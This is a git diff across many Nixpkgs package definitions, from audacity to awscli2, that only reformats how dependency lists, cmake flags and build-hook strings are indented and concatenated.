index 15999f4de70a..efa2fe1daa50 100644
--- a/pkgs/by-name/au/audacity/package.nix
+++ b/pkgs/by-name/au/audacity/package.nix
@@ -70,82 +70,79 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-j3rbcUUHXAQmn/7SzpKHvpxGZ3bBhIYrNOFLc7jMPlc=";
   };
 
-  postPatch =
-    ''
-      mkdir src/private
-      substituteInPlace scripts/build/macOS/fix_bundle.py \
-        --replace-fail "path.startswith('/usr/lib/')" "path.startswith('${builtins.storeDir}')"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace libraries/lib-files/FileNames.cpp \
-        --replace-fail /usr/include/linux/magic.h ${linuxHeaders}/include/linux/magic.h
-    '';
+  postPatch = ''
+    mkdir src/private
+    substituteInPlace scripts/build/macOS/fix_bundle.py \
+      --replace-fail "path.startswith('/usr/lib/')" "path.startswith('${builtins.storeDir}')"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace libraries/lib-files/FileNames.cpp \
+      --replace-fail /usr/include/linux/magic.h ${linuxHeaders}/include/linux/magic.h
+  '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      gettext
-      pkg-config
-      python3
-      makeWrapper
-      wrapGAppsHook3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      linuxHeaders
-    ];
+  nativeBuildInputs = [
+    cmake
+    gettext
+    pkg-config
+    python3
+    makeWrapper
+    wrapGAppsHook3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    linuxHeaders
+  ];
 
-  buildInputs =
-    [
-      expat
-      ffmpeg
-      file
-      flac
-      gtk3
-      lame
-      libid3tag
-      libjack2
-      libmad
-      libopus
-      libsbsms_2_3_0
-      libsndfile
-      libvorbis
-      lilv
-      lv2
-      mpg123
-      opusfile
-      pcre
-      portmidi
-      rapidjson
-      serd
-      sord
-      soundtouch
-      soxr
-      sqlite
-      sratom
-      suil
-      twolame
-      portaudio
-      wavpack
-      wxGTK32
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib # for portaudio
-      at-spi2-core
-      dbus
-      libepoxy
-      libXdmcp
-      libXtst
-      libpthreadstubs
-      libxkbcommon
-      libselinux
-      libsepol
-      libuuid
-      util-linux
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libpng
-      libjpeg
-    ];
+  buildInputs = [
+    expat
+    ffmpeg
+    file
+    flac
+    gtk3
+    lame
+    libid3tag
+    libjack2
+    libmad
+    libopus
+    libsbsms_2_3_0
+    libsndfile
+    libvorbis
+    lilv
+    lv2
+    mpg123
+    opusfile
+    pcre
+    portmidi
+    rapidjson
+    serd
+    sord
+    soundtouch
+    soxr
+    sqlite
+    sratom
+    suil
+    twolame
+    portaudio
+    wavpack
+    wxGTK32
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib # for portaudio
+    at-spi2-core
+    dbus
+    libepoxy
+    libXdmcp
+    libXtst
+    libpthreadstubs
+    libxkbcommon
+    libselinux
+    libsepol
+    libuuid
+    util-linux
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libpng
+    libjpeg
+  ];
 
   cmakeFlags = [
     "-DAUDACITY_BUILD_LEVEL=2"
diff --git a/pkgs/by-name/au/audio-recorder/package.nix b/pkgs/by-name/au/audio-recorder/package.nix
index 729c431817ca..ae7e4da5e294 100644
--- a/pkgs/by-name/au/audio-recorder/package.nix
+++ b/pkgs/by-name/au/audio-recorder/package.nix
@@ -34,23 +34,22 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      glib
-      dbus
-      gtk3
-      librsvg
-      libappindicator-gtk3
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-      gst-plugins-ugly
-      gst-libav
-    ])
-    ++ lib.optional pulseaudioSupport libpulseaudio;
+  buildInputs = [
+    glib
+    dbus
+    gtk3
+    librsvg
+    libappindicator-gtk3
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+    gst-plugins-ugly
+    gst-libav
+  ])
+  ++ lib.optional pulseaudioSupport libpulseaudio;
 
   meta = {
     description = "Audio recorder for GNOME and Unity Desktops";
diff --git a/pkgs/by-name/au/audio-sharing/package.nix b/pkgs/by-name/au/audio-sharing/package.nix
index 3f4fe10a07dd..a25a2d3d063d 100644
--- a/pkgs/by-name/au/audio-sharing/package.nix
+++ b/pkgs/by-name/au/audio-sharing/package.nix
@@ -38,22 +38,21 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-ePgEAVYXLOHWQXG92Grb9nmenyGj0JkgVy1UDsQF0xw=";
   };
 
-  nativeBuildInputs =
-    [
-      appstream-glib
-      cargo
-      desktop-file-utils
-      git
-      meson
-      ninja
-      pkg-config
-      python3
-      rustc
-      wrapGAppsHook4
-    ]
-    ++ (with rustPlatform; [
-      cargoSetupHook
-    ]);
+  nativeBuildInputs = [
+    appstream-glib
+    cargo
+    desktop-file-utils
+    git
+    meson
+    ninja
+    pkg-config
+    python3
+    rustc
+    wrapGAppsHook4
+  ]
+  ++ (with rustPlatform; [
+    cargoSetupHook
+  ]);
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/au/audit/package.nix b/pkgs/by-name/au/audit/package.nix
index 0ad9ac9f055a..fcf122b6a986 100644
--- a/pkgs/by-name/au/audit/package.nix
+++ b/pkgs/by-name/au/audit/package.nix
@@ -46,14 +46,13 @@ stdenv.mkDerivation (finalAttrs: {
     buildPackages.stdenv.cc
   ];
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-    ]
-    ++ lib.optionals enablePython [
-      python3
-      swig
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+  ]
+  ++ lib.optionals enablePython [
+    python3
+    swig
+  ];
 
   buildInputs = [
     bash
diff --git a/pkgs/by-name/au/augustus/package.nix b/pkgs/by-name/au/augustus/package.nix
index e2aa70b1694f..262147c9ee17 100644
--- a/pkgs/by-name/au/augustus/package.nix
+++ b/pkgs/by-name/au/augustus/package.nix
@@ -24,13 +24,14 @@ stdenv.mkDerivation rec {
 
   patches = [ ./darwin-fixes.patch ];
 
-  nativeBuildInputs =
-    [ cmake ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      darwin.sigtool
-      libicns
-      imagemagick
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    darwin.sigtool
+    libicns
+    imagemagick
+  ];
 
   buildInputs = [
     SDL2
diff --git a/pkgs/by-name/au/ausweiskopie/package.nix b/pkgs/by-name/au/ausweiskopie/package.nix
index 2a33cdd80b6f..80d574f15419 100644
--- a/pkgs/by-name/au/ausweiskopie/package.nix
+++ b/pkgs/by-name/au/ausweiskopie/package.nix
@@ -23,7 +23,8 @@ python3Packages.buildPythonApplication rec {
 
   nativeBuildInputs = [
     copyDesktopItems
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
 
   build-system = with python3Packages; [
     setuptools
diff --git a/pkgs/by-name/au/auto-multiple-choice/package.nix b/pkgs/by-name/au/auto-multiple-choice/package.nix
index 85820918503f..296332f4b95e 100644
--- a/pkgs/by-name/au/auto-multiple-choice/package.nix
+++ b/pkgs/by-name/au/auto-multiple-choice/package.nix
@@ -104,41 +104,40 @@ stdenv.mkDerivation (finalAttrs: rec {
     gobject-introspection
   ];
 
-  buildInputs =
-    [
-      cairo
-      cairo.dev
-      dblatex
-      gnumake
-      graphicsmagick
-      gsettings-desktop-schemas
-      gtk3
-      hicolor-icon-theme
-      libnotify
-      librsvg
-      libxslt
-      netpbm
-      opencv
-      pango
-      poppler
-    ]
-    ++ (with perlPackages; [
-      perl
-      ArchiveZip
-      Cairo
-      CairoGObject
-      DBDSQLite
-      DBI
-      Glib
-      GlibObjectIntrospection
-      Gtk3
-      LocaleGettext
-      PerlMagick
-      TextCSV
-      XMLParser
-      XMLSimple
-      XMLWriter
-    ]);
+  buildInputs = [
+    cairo
+    cairo.dev
+    dblatex
+    gnumake
+    graphicsmagick
+    gsettings-desktop-schemas
+    gtk3
+    hicolor-icon-theme
+    libnotify
+    librsvg
+    libxslt
+    netpbm
+    opencv
+    pango
+    poppler
+  ]
+  ++ (with perlPackages; [
+    perl
+    ArchiveZip
+    Cairo
+    CairoGObject
+    DBDSQLite
+    DBI
+    Glib
+    GlibObjectIntrospection
+    Gtk3
+    LocaleGettext
+    PerlMagick
+    TextCSV
+    XMLParser
+    XMLSimple
+    XMLWriter
+  ]);
 
   passthru = {
     tlType = "run";
diff --git a/pkgs/by-name/au/autogen/package.nix b/pkgs/by-name/au/autogen/package.nix
index 2c8578b8e949..4298b8ca2e41 100644
--- a/pkgs/by-name/au/autogen/package.nix
+++ b/pkgs/by-name/au/autogen/package.nix
@@ -89,18 +89,17 @@ stdenv.mkDerivation rec {
     "info"
   ];
 
-  nativeBuildInputs =
-    [
-      which
-      pkg-config
-      perl
-      autoreconfHook # patches applied
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      # autogen needs a build autogen when cross-compiling
-      buildPackages.buildPackages.autogen
-      buildPackages.texinfo
-    ];
+  nativeBuildInputs = [
+    which
+    pkg-config
+    perl
+    autoreconfHook # patches applied
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    # autogen needs a build autogen when cross-compiling
+    buildPackages.buildPackages.autogen
+    buildPackages.texinfo
+  ];
   buildInputs = [
     guile_2_2
     libxml2
@@ -110,48 +109,46 @@ stdenv.mkDerivation rec {
     export MAN_PAGE_DATE=$(date '+%Y-%m-%d' -d "@$SOURCE_DATE_EPOCH")
   '';
 
-  configureFlags =
-    [
-      "--with-libxml2=${libxml2.dev}"
-      "--with-libxml2-cflags=-I${libxml2.dev}/include/libxml2"
-      # Make sure to use a static value for the timeout. If we do not set a value
-      # here autogen will select one based on the execution time of the configure
-      # phase which is not really reproducible.
-      #
-      # If you are curious about the number 78, it has been cargo-culted from
-      # Debian: https://salsa.debian.org/debian/autogen/-/blob/master/debian/rules#L21
-      "--enable-timeout=78"
-      "CFLAGS=-D_FILE_OFFSET_BITS=64"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      # the configure check for regcomp wants to run a host program
-      "libopts_cv_with_libregex=yes"
-      #"MAKEINFO=${buildPackages.texinfo}/bin/makeinfo"
-    ]
-    # See: https://sourceforge.net/p/autogen/bugs/187/
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ "ac_cv_func_utimensat=no" ];
+  configureFlags = [
+    "--with-libxml2=${libxml2.dev}"
+    "--with-libxml2-cflags=-I${libxml2.dev}/include/libxml2"
+    # Make sure to use a static value for the timeout. If we do not set a value
+    # here autogen will select one based on the execution time of the configure
+    # phase which is not really reproducible.
+    #
+    # If you are curious about the number 78, it has been cargo-culted from
+    # Debian: https://salsa.debian.org/debian/autogen/-/blob/master/debian/rules#L21
+    "--enable-timeout=78"
+    "CFLAGS=-D_FILE_OFFSET_BITS=64"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    # the configure check for regcomp wants to run a host program
+    "libopts_cv_with_libregex=yes"
+    #"MAKEINFO=${buildPackages.texinfo}/bin/makeinfo"
+  ]
+  # See: https://sourceforge.net/p/autogen/bugs/187/
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "ac_cv_func_utimensat=no" ];
 
   #doCheck = true; # not reliable
 
-  postInstall =
-    ''
-      mkdir -p $dev/bin
-      mv $bin/bin/autoopts-config $dev/bin
+  postInstall = ''
+    mkdir -p $dev/bin
+    mv $bin/bin/autoopts-config $dev/bin
 
-      for f in $lib/lib/autogen/tpl-config.tlib $out/share/autogen/tpl-config.tlib; do
-        sed -e "s|$dev/include|/no-such-autogen-include-path|" -i $f
-        sed -e "s|$bin/bin|/no-such-autogen-bin-path|" -i $f
-        sed -e "s|$lib/lib|/no-such-autogen-lib-path|" -i $f
-      done
+    for f in $lib/lib/autogen/tpl-config.tlib $out/share/autogen/tpl-config.tlib; do
+      sed -e "s|$dev/include|/no-such-autogen-include-path|" -i $f
+      sed -e "s|$bin/bin|/no-such-autogen-bin-path|" -i $f
+      sed -e "s|$lib/lib|/no-such-autogen-lib-path|" -i $f
+    done
 
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      # remove build directory (/build/**, or /tmp/nix-build-**) from RPATHs
-      for f in "$bin"/bin/*; do
-        local nrp="$(patchelf --print-rpath "$f" | sed -E 's@(:|^)'$NIX_BUILD_TOP'[^:]*:@\1@g')"
-        patchelf --set-rpath "$nrp" "$f"
-      done
-    '';
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    # remove build directory (/build/**, or /tmp/nix-build-**) from RPATHs
+    for f in "$bin"/bin/*; do
+      local nrp="$(patchelf --print-rpath "$f" | sed -E 's@(:|^)'$NIX_BUILD_TOP'[^:]*:@\1@g')"
+      patchelf --set-rpath "$nrp" "$f"
+    done
+  '';
 
   meta = with lib; {
     description = "Automated text and program generation tool";
diff --git a/pkgs/by-name/av/av1an/package.nix b/pkgs/by-name/av/av1an/package.nix
index 2a7b7c05e527..10b53cb9ad4c 100644
--- a/pkgs/by-name/av/av1an/package.nix
+++ b/pkgs/by-name/av/av1an/package.nix
@@ -46,19 +46,18 @@ symlinkJoin {
 
   postBuild =
     let
-      runtimePrograms =
-        [
-          vapoursynth
-          (ffmpeg.override { inherit withVmaf; })
-        ]
-        ++ lib.optional withAom libaom
-        ++ lib.optional withMkvtoolnix mkvtoolnix-cli
-        ++ lib.optional withRav1e rav1e
-        ++ lib.optional withSvtav1 svt-av1
-        ++ lib.optional withVmaf libvmaf
-        ++ lib.optional withVpx libvpx
-        ++ lib.optional withX264 x264
-        ++ lib.optional withX265 x265;
+      runtimePrograms = [
+        vapoursynth
+        (ffmpeg.override { inherit withVmaf; })
+      ]
+      ++ lib.optional withAom libaom
+      ++ lib.optional withMkvtoolnix mkvtoolnix-cli
+      ++ lib.optional withRav1e rav1e
+      ++ lib.optional withSvtav1 svt-av1
+      ++ lib.optional withVmaf libvmaf
+      ++ lib.optional withVpx libvpx
+      ++ lib.optional withX264 x264
+      ++ lib.optional withX265 x265;
     in
     ''
       wrapProgram $out/bin/av1an \
diff --git a/pkgs/by-name/av/avalonia/package.nix b/pkgs/by-name/av/avalonia/package.nix
index 3bea156c1c91..442bfd80ec5d 100644
--- a/pkgs/by-name/av/avalonia/package.nix
+++ b/pkgs/by-name/av/avalonia/package.nix
@@ -72,52 +72,51 @@ stdenvNoCC.mkDerivation (
         stripRoot = false;
       };
 
-      postPatch =
-        ''
-          patchShebangs build.sh
+      postPatch = ''
+        patchShebangs build.sh
 
-          substituteInPlace src/Avalonia.X11/ICELib.cs \
-            --replace-fail '"libICE.so.6"' '"${lib.getLib libICE}/lib/libICE.so.6"'
-          substituteInPlace src/Avalonia.X11/SMLib.cs \
-            --replace-fail '"libSM.so.6"' '"${lib.getLib libSM}/lib/libSM.so.6"'
-          substituteInPlace src/Avalonia.X11/XLib.cs \
-            --replace-fail '"libX11.so.6"' '"${lib.getLib libX11}/lib/libX11.so.6"' \
-            --replace-fail '"libXrandr.so.2"' '"${lib.getLib libXrandr}/lib/libXrandr.so.2"' \
-            --replace-fail '"libXext.so.6"' '"${lib.getLib libXext}/lib/libXext.so.6"' \
-            --replace-fail '"libXi.so.6"' '"${lib.getLib libXi}/lib/libXi.so.6"' \
-            --replace-fail '"libXcursor.so.1"' '"${lib.getLib libXcursor}/lib/libXcursor.so.1"'
+        substituteInPlace src/Avalonia.X11/ICELib.cs \
+          --replace-fail '"libICE.so.6"' '"${lib.getLib libICE}/lib/libICE.so.6"'
+        substituteInPlace src/Avalonia.X11/SMLib.cs \
+          --replace-fail '"libSM.so.6"' '"${lib.getLib libSM}/lib/libSM.so.6"'
+        substituteInPlace src/Avalonia.X11/XLib.cs \
+          --replace-fail '"libX11.so.6"' '"${lib.getLib libX11}/lib/libX11.so.6"' \
+          --replace-fail '"libXrandr.so.2"' '"${lib.getLib libXrandr}/lib/libXrandr.so.2"' \
+          --replace-fail '"libXext.so.6"' '"${lib.getLib libXext}/lib/libXext.so.6"' \
+          --replace-fail '"libXi.so.6"' '"${lib.getLib libXi}/lib/libXi.so.6"' \
+          --replace-fail '"libXcursor.so.1"' '"${lib.getLib libXcursor}/lib/libXcursor.so.1"'
 
-          # from RestoreAdditionalProjectSources, which isn't supported by nuget-to-json
-          dotnet nuget add source https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet8-transport/nuget/v3/index.json
+        # from RestoreAdditionalProjectSources, which isn't supported by nuget-to-json
+        dotnet nuget add source https://pkgs.dev.azure.com/dnceng/public/_packaging/dotnet8-transport/nuget/v3/index.json
 
-          # Tricky way to run npmConfigHook multiple times (borrowed from pagefind)
-          (
-            local postPatchHooks=() # written to by npmConfigHook
-            source ${npmHooks.npmConfigHook}/nix-support/setup-hook
-        ''
-        +
-          # TODO: implement updateScript
-          lib.concatMapStrings (
-            { path, hash }:
-            let
-              deps = fetchNpmDeps {
-                src = "${src}/${path}";
-                inherit hash;
-              };
-            in
-            ''
-              npmRoot=${path} npmDeps="${deps}" npmConfigHook
-              rm -rf "$TMPDIR/cache"
-            ''
-          ) (import npmDepsFile)
-        + ''
-          )
-          # Avalonia.Native is normally only packed on darwin.
-          substituteInPlace src/Avalonia.Native/Avalonia.Native.csproj \
-            --replace-fail \
-              '<IsPackable>$(PackAvaloniaNative)</IsPackable>' \
-              '<IsPackable>true</IsPackable>'
-        '';
+        # Tricky way to run npmConfigHook multiple times (borrowed from pagefind)
+        (
+          local postPatchHooks=() # written to by npmConfigHook
+          source ${npmHooks.npmConfigHook}/nix-support/setup-hook
+      ''
+      +
+        # TODO: implement updateScript
+        lib.concatMapStrings (
+          { path, hash }:
+          let
+            deps = fetchNpmDeps {
+              src = "${src}/${path}";
+              inherit hash;
+            };
+          in
+          ''
+            npmRoot=${path} npmDeps="${deps}" npmConfigHook
+            rm -rf "$TMPDIR/cache"
+          ''
+        ) (import npmDepsFile)
+      + ''
+        )
+        # Avalonia.Native is normally only packed on darwin.
+        substituteInPlace src/Avalonia.Native/Avalonia.Native.csproj \
+          --replace-fail \
+            '<IsPackable>$(PackAvaloniaNative)</IsPackable>' \
+            '<IsPackable>true</IsPackable>'
+      '';
 
       makeCacheWritable = true;
 
diff --git a/pkgs/by-name/av/avidemux/package.nix b/pkgs/by-name/av/avidemux/package.nix
index c08cfd2f49a0..804251f8ab3a 100644
--- a/pkgs/by-name/av/avidemux/package.nix
+++ b/pkgs/by-name/av/avidemux/package.nix
@@ -87,39 +87,39 @@ stdenv.mkDerivation rec {
     cmake
     pkg-config
     makeWrapper
-  ] ++ lib.optional withQT libsForQt5.wrapQtAppsHook;
-  buildInputs =
+  ]
+  ++ lib.optional withQT libsForQt5.wrapQtAppsHook;
+  buildInputs = [
+    zlib
+    gettext
+    libvdpau
+    libva
+    libXv
+    sqlite
+    fribidi
+    fontconfig
+    freetype
+    alsa-lib
+    libXext
+    libGLU
+  ]
+  ++ lib.optional withX264 x264
+  ++ lib.optional withX265 x265
+  ++ lib.optional withXvid xvidcore
+  ++ lib.optional withLAME lame
+  ++ lib.optional withFAAC faac
+  ++ lib.optional withVorbis libvorbis
+  ++ lib.optional withPulse libpulseaudio
+  ++ lib.optional withFAAD faad2
+  ++ lib.optional withOpus libopus
+  ++ lib.optionals withQT (
+    with libsForQt5;
     [
-      zlib
-      gettext
-      libvdpau
-      libva
-      libXv
-      sqlite
-      fribidi
-      fontconfig
-      freetype
-      alsa-lib
-      libXext
-      libGLU
+      qttools
+      qtbase
     ]
-    ++ lib.optional withX264 x264
-    ++ lib.optional withX265 x265
-    ++ lib.optional withXvid xvidcore
-    ++ lib.optional withLAME lame
-    ++ lib.optional withFAAC faac
-    ++ lib.optional withVorbis libvorbis
-    ++ lib.optional withPulse libpulseaudio
-    ++ lib.optional withFAAD faad2
-    ++ lib.optional withOpus libopus
-    ++ lib.optionals withQT (
-      with libsForQt5;
-      [
-        qttools
-        qtbase
-      ]
-    )
-    ++ lib.optional withVPX libvpx;
+  )
+  ++ lib.optional withVPX libvpx;
 
   dontWrapQtApps = true;
 
diff --git a/pkgs/by-name/av/avrdude/package.nix b/pkgs/by-name/av/avrdude/package.nix
index ffa722674445..205711f0a420 100644
--- a/pkgs/by-name/av/avrdude/package.nix
+++ b/pkgs/by-name/av/avrdude/package.nix
@@ -40,19 +40,18 @@ stdenv.mkDerivation (finalAttrs: {
     sha256 = "w58HVCvKuWpGJwllupbj7ndeq4iE9LPs/IjFSUN0DOU=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      bison
-      flex
-      pkg-config
-    ]
-    ++ lib.optionals docSupport [
-      unixtools.more
-      texliveMedium
-      texinfo
-      texi2html
-    ];
+  nativeBuildInputs = [
+    cmake
+    bison
+    flex
+    pkg-config
+  ]
+  ++ lib.optionals docSupport [
+    unixtools.more
+    texliveMedium
+    texinfo
+    texi2html
+  ];
 
   buildInputs = [
     (if useElfutils then elfutils else finalAttrs.finalPackage.passthru.libelf)
diff --git a/pkgs/by-name/aw/aws-c-common/package.nix b/pkgs/by-name/aw/aws-c-common/package.nix
index 2c33c7f38b49..975943ea06b5 100644
--- a/pkgs/by-name/aw/aws-c-common/package.nix
+++ b/pkgs/by-name/aw/aws-c-common/package.nix
@@ -20,13 +20,12 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ cmake ];
 
-  cmakeFlags =
-    [
-      "-DBUILD_SHARED_LIBS=ON"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isRiscV [
-      "-DCMAKE_C_FLAGS=-fasynchronous-unwind-tables"
-    ];
+  cmakeFlags = [
+    "-DBUILD_SHARED_LIBS=ON"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isRiscV [
+    "-DCMAKE_C_FLAGS=-fasynchronous-unwind-tables"
+  ];
 
   # aws-c-common misuses cmake modules, so we need
   # to manually add a MODULE_PATH to its consumers
diff --git a/pkgs/by-name/aw/aws-c-event-stream/package.nix b/pkgs/by-name/aw/aws-c-event-stream/package.nix
index 24ad66a12d85..30b47942fe50 100644
--- a/pkgs/by-name/aw/aws-c-event-stream/package.nix
+++ b/pkgs/by-name/aw/aws-c-event-stream/package.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation rec {
     aws-c-io
     aws-checksums
     s2n-tls
-  ] ++ lib.optional stdenv.hostPlatform.isMusl libexecinfo;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isMusl libexecinfo;
 
   cmakeFlags = [
     "-DBUILD_SHARED_LIBS:BOOL=ON"
diff --git a/pkgs/by-name/aw/aws-sdk-cpp/package.nix b/pkgs/by-name/aw/aws-sdk-cpp/package.nix
index a0854db31509..82147ae7213c 100644
--- a/pkgs/by-name/aw/aws-sdk-cpp/package.nix
+++ b/pkgs/by-name/aw/aws-sdk-cpp/package.nix
@@ -42,34 +42,33 @@ stdenv.mkDerivation rec {
     hash = "sha256-K0UFs7vOeZeQIs3G5L4FfEWXDGTXT9ssr/vQwa1l2lw=";
   };
 
-  postPatch =
-    ''
-      # Append the dev output to path hints in finding Aws.h to avoid
-      # having to pass `AWS_CORE_HEADER_FILE` explicitly to cmake configure
-      # when using find_package(AWSSDK CONFIG)
-      substituteInPlace cmake/AWSSDKConfig.cmake \
-        --replace 'C:/AWSSDK/''${AWSSDK_INSTALL_INCLUDEDIR}/aws/core' \
-          'C:/AWSSDK/''${AWSSDK_INSTALL_INCLUDEDIR}/aws/core"
-              "${placeholder "dev"}/include/aws/core'
+  postPatch = ''
+    # Append the dev output to path hints in finding Aws.h to avoid
+    # having to pass `AWS_CORE_HEADER_FILE` explicitly to cmake configure
+    # when using find_package(AWSSDK CONFIG)
+    substituteInPlace cmake/AWSSDKConfig.cmake \
+      --replace 'C:/AWSSDK/''${AWSSDK_INSTALL_INCLUDEDIR}/aws/core' \
+        'C:/AWSSDK/''${AWSSDK_INSTALL_INCLUDEDIR}/aws/core"
+            "${placeholder "dev"}/include/aws/core'
 
-      # Avoid blanket -Werror to evade build failures on less
-      # tested compilers.
-      substituteInPlace cmake/compiler_settings.cmake \
-        --replace '"-Werror"' ' '
+    # Avoid blanket -Werror to evade build failures on less
+    # tested compilers.
+    substituteInPlace cmake/compiler_settings.cmake \
+      --replace '"-Werror"' ' '
 
-      # Flaky on Hydra
-      rm tests/aws-cpp-sdk-core-tests/aws/auth/AWSCredentialsProviderTest.cpp
-      rm tests/aws-cpp-sdk-core-tests/aws/client/AWSClientTest.cpp
-      rm tests/aws-cpp-sdk-core-tests/aws/client/AwsConfigTest.cpp
-      # Includes aws-c-auth private headers, so only works with submodule build
-      rm tests/aws-cpp-sdk-core-tests/aws/auth/AWSAuthSignerTest.cpp
-      # TestRandomURLMultiThreaded fails
-      rm tests/aws-cpp-sdk-core-tests/http/HttpClientTest.cpp
-    ''
-    + lib.optionalString stdenv.hostPlatform.isi686 ''
-      # EPSILON is exceeded
-      rm tests/aws-cpp-sdk-core-tests/aws/client/AdaptiveRetryStrategyTest.cpp
-    '';
+    # Flaky on Hydra
+    rm tests/aws-cpp-sdk-core-tests/aws/auth/AWSCredentialsProviderTest.cpp
+    rm tests/aws-cpp-sdk-core-tests/aws/client/AWSClientTest.cpp
+    rm tests/aws-cpp-sdk-core-tests/aws/client/AwsConfigTest.cpp
+    # Includes aws-c-auth private headers, so only works with submodule build
+    rm tests/aws-cpp-sdk-core-tests/aws/auth/AWSAuthSignerTest.cpp
+    # TestRandomURLMultiThreaded fails
+    rm tests/aws-cpp-sdk-core-tests/http/HttpClientTest.cpp
+  ''
+  + lib.optionalString stdenv.hostPlatform.isi686 ''
+    # EPSILON is exceeded
+    rm tests/aws-cpp-sdk-core-tests/aws/client/AdaptiveRetryStrategyTest.cpp
+  '';
 
   # FIXME: might be nice to put different APIs in different outputs
   # (e.g. libaws-cpp-sdk-s3.so in output "s3").
@@ -92,18 +91,17 @@ stdenv.mkDerivation rec {
   # propagation is needed for Security.framework to be available when linking
   propagatedBuildInputs = [ aws-crt-cpp ];
 
-  cmakeFlags =
-    [
-      "-DBUILD_DEPS=OFF"
-    ]
-    ++ lib.optional (!customMemoryManagement) "-DCUSTOM_MEMORY_MANAGEMENT=0"
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      "-DENABLE_TESTING=OFF"
-      "-DCURL_HAS_H2=1"
-      "-DCURL_HAS_TLS_PROXY=1"
-      "-DTARGET_ARCH=${host_os}"
-    ]
-    ++ lib.optional (apis != [ "*" ]) "-DBUILD_ONLY=${lib.concatStringsSep ";" apis}";
+  cmakeFlags = [
+    "-DBUILD_DEPS=OFF"
+  ]
+  ++ lib.optional (!customMemoryManagement) "-DCUSTOM_MEMORY_MANAGEMENT=0"
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    "-DENABLE_TESTING=OFF"
+    "-DCURL_HAS_H2=1"
+    "-DCURL_HAS_TLS_PROXY=1"
+    "-DTARGET_ARCH=${host_os}"
+  ]
+  ++ lib.optional (apis != [ "*" ]) "-DBUILD_ONLY=${lib.concatStringsSep ";" apis}";
 
   env.NIX_CFLAGS_COMPILE = toString [
     # openssl 3 generates several deprecation warnings
diff --git a/pkgs/by-name/aw/aws-sso-cli/package.nix b/pkgs/by-name/aw/aws-sso-cli/package.nix
index edbaed61c55f..43088386591f 100644
--- a/pkgs/by-name/aw/aws-sso-cli/package.nix
+++ b/pkgs/by-name/aw/aws-sso-cli/package.nix
@@ -39,7 +39,8 @@ buildGoModule rec {
         "TestAWSConsoleUrl"
         "TestAWSFederatedUrl"
         "TestServerWithSSL" # https://github.com/synfinatic/aws-sso-cli/issues/1030 -- remove when version >= 2.x
-      ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "TestDetectShellBash" ];
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [ "TestDetectShellBash" ];
     in
     [ "-skip=^${builtins.concatStringsSep "$|^" skippedTests}$" ];
 
diff --git a/pkgs/by-name/aw/awscli2/package.nix b/pkgs/by-name/aw/awscli2/package.nix
index 069be0822da0..354a4cea2b43 100644
--- a/pkgs/by-name/aw/awscli2/package.nix
+++ b/pkgs/by-name/aw/awscli2/package.nix
@@ -131,15 +131,14 @@ py.pkgs.buildPythonApplication rec {
     writableTmpDirAsHomeHook
   ];
 
-  postInstall =
-    ''
-      installShellCompletion --cmd aws \
-        --bash <(echo "complete -C $out/bin/aws_completer aws") \
-        --zsh $out/bin/aws_zsh_completer.sh
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isWindows) ''
-      rm $out/bin/aws.cmd
-    '';
+  postInstall = ''
+    installShellCompletion --cmd aws \
+      --bash <(echo "complete -C $out/bin/aws_completer aws") \
+      --zsh $out/bin/aws_zsh_completer.sh
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isWindows) ''
+    rm $out/bin/aws.cmd
+  '';
 
   # Propagating dependencies leaks them through $PYTHONPATH which causes issues
   # when used in nix-shell.
diff --git a/pkgs/by-name/ay/ayatana-indicator-datetime/package.nix b/pkgs/by-name/ay/ayatana-indicator-datetime/package.nix
index c9e5f682879f..cbe19f39dd76 100644
--- a/pkgs/by-name/ay/ayatana-indicator-datetime/package.nix
